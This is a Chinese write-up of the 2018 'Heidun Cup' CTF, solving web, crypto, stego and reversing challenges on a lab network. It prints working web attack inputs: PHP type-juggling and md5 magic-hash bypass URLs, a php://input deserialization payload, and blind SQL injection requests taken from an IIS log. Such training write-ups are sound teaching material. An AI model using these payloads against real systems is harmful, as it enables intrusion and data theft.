

2018/9/16 福师大黑盾杯

→ ↺ ⚙

不安全 | 192.168.3.1/student/exam-question/index

☆

🔍

👤

“黑盾杯”网络空间安全技能竞赛

距离比赛结束还有: 99时 57分 17秒

距离CTF夺旗阶段结束还有: 00时 00分 00秒

🕒 当前时间 08:54:20



罗铂鑫

📖 竞赛须知

🕒 CTF夺旗阶段

🕒 综合渗透阶段

🔧 工具箱

欢迎蒞攻防演练平台:

退出账号

竞赛须知

📢 学生公告

1、遵守大赛纪律，切勿喧哗，严禁吸烟。2、各参赛选手需自备笔记本电脑、电源、鼠标等，特别注意非网口的笔记本电脑自带网线转接头。参赛队伍需自备攻防工具。3、不许使用手机及类似QQ等即时聊天工具、也不能通过论坛、电邮的形式进行比赛信息发布。4、参赛选手竞赛当天凭参赛证和身份证入场。不许跨校组队。5、参赛选手未经裁判同意，禁止进入他人赛位，干扰其他选手比赛。6、比赛过程中严禁参赛选手向比赛服务器、参赛选手主机等设施发起任何可能影响比赛正常进行的攻击或恶意操作，一旦发现违规操作，则取消比赛成绩。7、竞赛期间我们提供午餐，会有工作人员送到选手位置上。如在比赛期间需要补充能量者自带干粮。8、比赛期间所有参赛选手不得离场，可以上卫生间。9、比赛期间参赛选手如有任何身体不适请立即告知现场工作人员，现场有医务保障人员。10、裁判宣布比赛结束时，所有参赛选手应立即停止所有操作并起立听从裁判指令。11、违反上述规定者，现场裁判组将视情节轻重给予口头警告、扣分、取消参赛资格等处罚。12、竞赛结束后，获奖队伍的队长到西湖宾馆福建会堂6楼国际厅（福建省福州市华林路11号西湖宾馆福建会堂新闻商务中心）集中进行颁奖彩排。13、颁奖仪式放在网络安全宣传周开幕式，地点：西湖宾馆福建会堂6楼国际厅（福建省福州市华林路11号西湖宾馆福建会堂新闻商务中心）。14、本次竞赛最终解释权归竞赛组委会所有。

信息泄露+代码审计

svn泄露源码: <http://192.168.200.200/web/codeaudit/svn/text-base/index.php.svn-base.txt>

```
1  <?php
2  error_reporting(0);
3  $user = $_COOKIE['user'];
4  $code = $_GET['code']?(int)$_GET['code']:'';
5  if($user == 'admin' && !empty($code)) {
6      $hex = (int)$code;
7      if(($hex ^ 6789) === 0xCDEF) {
8          require("flag.php");
9          echo $flag;
10         exit();
11     }
12     echo "ð?ö?e? , ?û?£?□?";
13     ?>
```

GET 请求 code=55146 , 请求头添加 Cookie: user=admin; 。

flag{a737c5c5b759c3705c8100accf65b5e4}

最好的语言

```
1  <?php
2  show_source(__FILE__);
3  $a=0;
4  $b=0;
5  $c=0;
```

```

6  $d=0;
7  if (isset($_GET['x1'])) // $x1=0;=>$a=1;
8  {
9      $x1 = $_GET['x1'];
10     $x1=="1"?die("ha?"):NULL;
11     switch ($x1)
12     {
13     case 0:
14     case 1:
15         $a=1;
16         break;
17     }
18 }
19 $x2=(array)json_decode(@$_GET['x2']);
20 // $x2=json_encode(['x21'=>'2018hello','x22'=>[[[]],0]]) ;
21 //string(32) '{"x21":"2018hello","x22":[[[]],0]}'
22 if(is_array($x2)){
23     is_numeric(@$x2["x21"])?die("ha?"):NULL;
24     if(@$x2["x21"]){
25         ($x2["x21"]>2017)?$b=1:NULL;
26     }
27     if(is_array(@$x2["x22"])){
28         if(count($x2["x22"])!=2 OR !is_array($x2["x22"][0])) die("ha?");
29         $p = array_search("XIPU", $x2["x22"]);
30         //array_search - 在数组中搜索给定的值, 如果成功则返回相应的键名
31         //mixed array_search( mixed $needle, array $haystack[, bool $strict =
false] )
32         //第三个参数决定在搜索时是否比较类型, 默认不比较, 也是这里能够绕过的原因。
33         //var_dump(array_search('XIPU', array("0","1",0)));//int(2)
34         //0=='XIPU'为真, 搜索到0值的下标为2
35         $p===false?die("ha?"):NULL;
36         foreach($x2["x22"] as $key=>$val){
37             $val=="XIPU"?die("ha?"):NULL;
38         }
39         $c=1;
40     }
41 }
42 $x3 = $_GET['x3'];
43 if ($x3 != '15562') {
44     if (strstr($x3, 'XIPU')) {
45         if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
46             //两个符合正则 /0e\d+/ 的字符串弱相等。
47             // 爆破见下方python代码
48             $d=1;
49         }
50     }
51 }
52 if($a && $b && $c && $d){
53     include "flag.php";
54     echo $flag;
55 }
56 ?>

```

```

1  def brute():
2      for a in range(0x20, 0x7f):
3          for b in range(0x20, 0x7f):
4              for c in range(0x20, 0x7f):
5                  x = chr(a) + chr(b) + chr(c)+s
6                  mm=md5(x.encode('UTF-8')).hexdigest()
7                  flag=1
8                  for i in mm[10:24]:
9                      if i not in '0123456789':
10                         flag=0
11                         break
12                 if flag and mm[8:10]=='0e':
13                     print(x)
14
15  brute()
16  # kN[XIPU
17  # v=|XIPU
18  # y'wXIPU
19  # }MOXIPU
20  # ~VhXIPU
21  ## http://192.168.200.200/web/bestlanguage/?x1=0&x2=
22  {%22x21%22:%222018hello%22,%22x22%22:[[],0]}&x3=~VhXIPU
  ## flag{510ea2879fa29d0d618b1f55350965c3}

```

the user is admin

和 bugku 平台某个题目原理相似，因此没有保留源码。可以参考 [该题](#)，不赘述。

```

1  /web/theuserisadmin/?file=class.php&user=php://input&pass=0:4:"Read":1:
   {s:4:"file";s:8:"f1a9.php";}
2
3  post:the user is admin
4
5  //flag{078d8dd8023d5716a11780adf344dfd2}

```

ccgs



```
1 binwalk -e sgcc.png
2 cat secret.txt | base64 -d | base64 -d > final.png
```



注入日志分析

给了一个日志文件，`file data.log` 得到是一个文本文件，直接打开，前几行是

```
1 #Software: Microsoft Internet Information Services 6.0
2 #Version: 1.0
3 #Date: 2015-10-21 09:16:34
```

猜测是IIS服务器记录的流量日志，分析前几行

```
1 2015-10-21 09:16:34 W3SVC1 192.168.1.135 GET /index.htm - 80 - 192.168.1.101
  Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0
  200 0 0
2 2015-10-21 09:16:34 W3SVC1 192.168.1.135 GET /favicon.ico - 80 - 192.168.1.101
  Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0
  404 0 2
3 2015-10-21 09:16:36 W3SVC1 192.168.1.135 GET /show.asp id=2 80 - 192.168.1.101
  Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0
  200 0 0
4 2015-10-21 09:25:01 W3SVC1 192.168.1.135 GET /show.asp id=2%27|17|80040e14|字符串_''_
  之前有未闭合的引号。 80 - 192.168.1.101 Mozilla/5.0+
  (Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0 500 0 0
```

可以看到就是一条条的HTTP请求，并且后面跟着状态码。继续浏览，看到 `id` 字段出现一些 `sql` 的关键字，那么可以想到这记录的就是 `sqlmap` (或许)的注入流量分析。思路就是找到关键的注入请求，文件很大，我们可以搜索 `flag` 试试，找到关键的请求如下

```
1 ...
2 2015-10-21 09:32:35 W3SVC1 192.168.1.135 GET /show.asp
  id=2%20AND%20UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28
  DISTINCT%28theflag%29%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%
  20tourdata.dbo.news%29%2C1%2C1%29%29%3E51|18|800a0bcd|BOF_或_EOF_中有一个是“真”，或者当前
  的记录已被删除，所需的操作要求一个当前的记录。 80 - 192.168.1.101 Mozilla/5.0+
  (Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.9.1b4)+Gecko/20090423+Firefox/3.5b4+GTB5+
  (.NET+CLR+3.5.30729) 500 0 0
3 2015-10-21 09:32:35 W3SVC1 192.168.1.135 GET /show.asp
  id=2%20AND%20UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28
  DISTINCT%28theflag%29%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%
  20tourdata.dbo.news%29%2C1%2C1%29%29%3E48 80 - 192.168.1.101 Mozilla/5.0+
  (Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.9.1b4)+Gecko/20090423+Firefox/3.5b4+GTB5+
  (.NET+CLR+3.5.30729) 200 0 0
4 ...
```

可以利用文本编辑器如 `sublime text 3` 的 `ctrl+h` 的替换功能，将关键流量进行精简并 `urldecode` 利于分析 (截取两个代表性请求)

```
1 id=2 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(theflag))))
AS NVARCHAR(4000)),CHAR(32)) FROM tourdata.dbo.news),1,1))>51|18|800a0bcd|BOF_或_EOF_
中有一个是“真”，或者当前的记录已被删除，需要的操作要求一个当前的记录。 500 0 0
2 id=2 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(theflag))))
AS NVARCHAR(4000)),CHAR(32)) FROM tourdata.dbo.news),1,1))>48 80 200 0 0
```

可以看到这里是二分法盲注的HTTP请求，现在思路很明确了，从 `SUBSTRING(.*, 1, 1)` 开始找，并且只要看最后几条的注入请求就可以判断出字符是多少。比如 `SUBSTRING(.*, 1, 1) > 48` 的状态码是 `200`，`SUBSTRING(.*, 1, 1) > 49` 的状态码是 `500`，那其实就可以确定字符的ascii码是49。就这样就能得到 `theflag` 的值。

brightstar

列移位密码

```
1 snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees
2 key: howarey
3 Columnar Transposition Cipher
```

h	o	w	a	r	e	y
3	4	6	1	5	2	7
l	t	i	s	o	f	t
e	n	i	n	t	h	e
d	a	r	k	e	s	t
s	k	i	e	s	t	h
a	t	w	e	s	e	e
b	r	i	g	h	t	e
s	t	s	t	a	r	s

或者

```
1 c='snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees'.split(' ')
2 k='howarey'
3 kk=sorted(k)
4 print(''.join(c[kk.index(j)][i] for i in range(len(k)) for j in k))
5 # Itisofteninthedarkestskiesthatweseebrighteststars
```

这是啥呀

base32编码

```
1 echo MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2=== | base32 -d
2 #f1ag{c8b558b954019856f0b02345dc39558c}
```

Windows逆向

```
1 s='skfxEeft}f{gyrYgthtyhi fsjei53Uurrr_t2cdsef66246087138\0087138'
2 flag=''
3 idx=[1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42]
4 for i in idx:
5     flag+=s[i]
6 print(flag)
7 # KEY{e2s6ry3r5s8f6
```

得到部分flag, 加上1024得到完整flag: KEY{e2s6ry3r5s8f61024}

reverseme

```
1 python -c "open('file.png','wb').write(open('reverseme','rb').read()[::-1])"
2 或
3 <reverseme xxd -p -c1 | tac | xxd -p -r >file.png
```

{9d979407c24708db17ed7c8978477f4} gslf

```
1 | convert -flop file.png mirror_file.png
```

```
flag{4f7548f93c7bef1dc6a0542cf04e796e}
```

下午

CMSeeK 扫出配置文件 <http://192.168.200.202//configuration.php.txt>

底部有flag: `flag{0b58f603ff55c0c190502b44b4ffbf2c}`

此外一些没进一步利用上的信息和部分题目的附件放在[Gilthub](#)，有兴趣可移步查看。